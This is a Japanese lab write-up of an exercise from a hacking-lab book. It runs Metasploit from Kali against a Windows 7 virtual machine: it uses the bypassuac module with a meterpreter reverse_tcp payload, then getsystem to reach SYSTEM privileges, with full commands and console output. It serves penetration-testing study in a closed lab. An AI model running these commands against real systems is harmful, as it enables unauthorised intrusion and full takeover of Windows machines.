IPUSIRON氏著の「ハッキング・ラボの作り方 仮想環境におけるハッカー体験学習」を実践した記録です。
ホストOSはWindows 11です。
第2部
第4章 Windowsのハッキング
4-1 Windows 7のハッキング
管理者権限を奪取するには
前回は、KaliマシンからWindows 7マシンの操作ができる状態になったところまででした。
ここから、Windows 7をもっと自由に操るために管理者権限への昇格を試みます。
msfconsoleに戻ろう
現在、msfconsoleが実行され、そのうえでexploitが実行されています。exploitでWindows 7からの接続を待ち受け、接続が確立されたことによって”meterpreter >”のプロンプトが表示されているわけです。ここでexploitを裏(バックグラウンド)に回して、msfconsoleのプロンプトを表示します。
以下のように、”meterpreter >”のプロンプトから”bg”コマンドを入力することにより、”msf6 exploit(multi/handler) >”のプロンプトに切り替えられます。
meterpreter > bg [*] Backgrounding session 1... msf6 exploit(multi/handler) >
次のコマンドでバックグラウンドのセッションを確認できます。
msf6 exploit(multi/handler) > sessions -i Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows IE8WIN7\IEUser @ IE8WIN7 192.168.56.106:4444 -> 192.1 68.56.107:49157 (192.168.56 .107) msf6 exploit(multi/handler) >
上の表示結果で、セッションIDが”1″、Typeが”meterpreter”のセッションが接続状態にあることが分かりました。
UACを迂回するには
UACとは、ユーザーアカウント制御(User Account Control)と呼ばれる、システム設定の変更やプログラムのインストールなどの管理者権限が必要となる操作を勝手に実施できないようにするための機能です。ここでは、UACを迂回(バイパス)して管理者権限取得を試みます。
具体的には、UAC迂回を実現するモジュール”exploit/windows/local/bypassuac”を使用し、以下のように実行します。
msf6 exploit(multi/handler) > use exploit/windows/local/bypassuac [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
プロンプトが下のように変化します。モジュールのオプションを確認してみましょう。
msf6 exploit(windows/local/bypassuac) > show options Module options (exploit/windows/local/bypassuac): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on TECHNIQUE EXE yes Technique to use if UAC is turned off (Accepted: P SH, EXE) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 10.0.2.15 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows x86
さきほど裏に回したセッション1をパイプのように使ってUACを迂回する機能を流し込みます。
msf6 exploit(windows/local/bypassuac) > set SESSION 1 SESSION => 1 msf6 exploit(windows/local/bypassuac) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp
次のように、KaliのIPアドレスを設定します。
msf6 exploit(windows/local/bypassuac) > set LHOST 192.168.56.106 LHOST => 192.168.56.106 msf6 exploit(windows/local/bypassuac) > show options Module options (exploit/windows/local/bypassuac): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION 1 yes The session to run this module on TECHNIQUE EXE yes Technique to use if UAC is turned off (Accepted: P SH, EXE) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.56.106 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows x86
ここで”exploit”コマンドを実行します。以下のように表示されたら成功です。
msf6 exploit(windows/local/bypassuac) > exploit [*] Started reverse TCP handler on 192.168.56.106:4444 [*] UAC is Enabled, checking level... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing... [+] Part of Administrators group! Continuing... [*] Uploaded the agent to the filesystem.... [*] Uploading the bypass UAC executable to the filesystem... [*] Meterpreter stager executable 73802 bytes long being uploaded.. [*] Sending stage (175174 bytes) to 192.168.56.107 [*] Meterpreter session 2 opened (192.168.56.106:4444 -> 192.168.56.107:49158 ) at 2022-05-22 17:11:29 +0900 meterpreter >
ここで、さきほど使用したセッション1に加えて、セッション2が誕生しています。次のようにして確認できます。
meterpreter > bg [*] Backgrounding session 2... msf6 exploit(windows/local/bypassuac) > sessions -i Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows IE8WIN7\IEUser @ IE8WIN7 192.168.56.106:4444 -> 192 .168.56.107:49157 (192.16 8.56.107) 2 meterpreter x86/windows NT AUTHORITY\SYSTEM @ IE8W 192.168.56.106:4444 -> 192 IN7 .168.56.107:49158 (192.16 8.56.107)
セッション2に戻ります。
msf6 exploit(windows/local/bypassuac) > sessions -i 2 [*] Starting interaction with 2...
管理者権限を取得しよう
まず、現在の権限を確認します。
meterpreter > getuid Server username: IE8WIN7\IEUser
IEUserの権限であることが分かりました。
次に、管理者権限への特進を試みます。
meterpreter > getsystem -t 1 ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
SYSTEM権限の取得に成功しました。SYSTEMはフルコントロールを有する管理者権限を意味します。
さいごに
今回はMetasploitを使い、管理者権限を取得するところまでを紹介しました。
今回でいったん、Windows 7を対象にしたハッキングの区切りとします。
次回からは、Windwos 11のハッキングに挑戦してみたいと思います。